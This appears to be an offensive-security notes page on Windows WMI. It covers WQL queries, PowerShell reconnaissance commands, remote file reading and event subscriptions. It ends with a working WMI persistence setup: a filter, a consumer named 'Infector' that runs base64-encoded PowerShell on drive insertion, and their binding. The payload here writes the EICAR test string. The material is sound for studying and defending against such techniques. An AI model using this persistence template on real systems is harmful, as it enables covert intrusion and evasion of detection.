WMI - Windows Management Instrumentation
WMI was designed to allow local and remote system administration using DCOM or WSMan, it's enabled on all systems by default. Generally it's used to get information about a system, set parameters, execute methods and subscribe to events.
From an offensive PoV, WMI is excellent for recon, remote code execution, persistence and convert storage as WMI-based detection is far behind the rest. WMI persistence can technically be considered RCE as well but it doesn't involve invoking a method.
WMI uses SQL-like syntax, for example
SELECT [Class property name / names | *] FROM [Class name] <WHERE [Condition]>
SELECT * FROM Win32_Service WHERE Name = "PSEXESVC"
PowerShell is considered to be the best tool to interact with WMI and here are some commands to interact with the service
Get-WmiObject -Class Win32_Service
Get-WmiObject -Class Win32_Service -Filter 'Name = "WinDefend"'
Get-WmiObject -Class Win32_Service -Filter 'Name = "WinDefend"' -Property State, PathName
Get-WmiObject -Namespace 'root/cimv2' -Query 'SELECT State, PathName FROM Win32_Service WHERE Name = "WinDefend"'
Get-CimInstance -ClassName Win32_Service
Get-CimInstance -ClassName Win32_Service -Filter 'Name = "WinDefend"'
Get-CimInstance -ClassName Win32_Service -Filter 'Name = "WinDefend"' -Property State, PathName
Get-CimInstance -Namespace 'root/cimv2' -Query 'SELECT State, PathName FROM Win32_Service WHERE Name = "WinDefend"'
Most WMI classes are not well documented but we can use WMI to query for them
Get-WmiObject -Namespace root/cimv2 -Class Meta_Class
Get-WmiObject -Namespace root/default -List
Get-WmiObject -Namespace root -Class __NAMESPACE
Get-CimClass -Namespace root/subscription
Get-CimInstance -Namespace root -ClassName __NAMESPACE
It's also possible to retrieve file content remotely
$FilePath = 'C:\Windows\System32\notepad.exe'
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile
$InMemoryModuleFileInstance = New-CimInstance -CimClass
$PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance
Association queries can be used to get further information remotely
ASSOCIATORS OF {[Object].[Key]=[KeyValue]} <WHERE [AssocClass|ResultClass = ClassName]>
for example
List all running processes that have
wldp.dll
loaded
Get-WmiObject -Query 'ASSOCIATORS OF {CIM_DataFile.Name="c:\\windows\\system32\\wldp.dll"} WHERE AssocClass=CIM_ProcessExecutable'
Get-CimInstance -ClassName CIM_DataFile -Filter 'Drive = "C:" AND Path="\\Windows\\System32\\" AND (Name="C:\\Windows\\System32\\wldp.dll")' -Property Name | Get-CimAssociatedInstance -Association CIM_ProcessExecutable
List members of the local administrator group
Get-CimInstance -ClassName Win32_Group -Filter 'SID = "S-1-5-32-544"' | Get-CimAssociatedInstance -ResultClassName Win32_Account
WMI event queries
Event can be of two types:
Intrinsic
can be used to detect the creation, modification or deletion of any WMI object instance
requires a polling interval to be specified and can affect performance
Extrinsic
they fire immediately and don't require a polling period
It's possible to enumerate WMI events with Enumerate WMI events.
This is what a query looks like
SELECT [Class property name[s]|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
SELECT [Class property name[s]|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
Register-WmiEvent -Query 'SELECT ProcessName FROM Win32_ProcessStartTrace' -Action { Write-Host "New process: $($EventArgs.NewEvent.ProcessName)" }
Register-CimIndicationEvent -Namespace root/subscription -Query 'SELECT * FROM __InstanceCreationEvent WHERE TargetInstance ISA "__FilterToConsumerBinding"' -Action {Write-Host 'New WMI persistence!'}
Event queries can persist beyond reboots and execute something in response instead of just being executed in the context of the PowerShell process they're executed from; for this to be possible there are 3 requirements
__EventConsumer
: the action to execute__EventFilter
: the event to trigger off of__FilterToConsumerBinding
: binds the filter and consumer together
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'DriveChanged'
Query = 'SELECT * FROM Win32_VolumeChangeEvent'
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
$CommandLineConsumerArgs = @{
Name = 'Infector'
CommandLineTemplate = "powershell.exe -NoP -C `"[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSL VNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=')) | Out-File %DriveName%\eicar.txt`""
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments
$CommandLineConsumerArgs
$FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer }
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments
$FilterToConsumerArgs
Last updated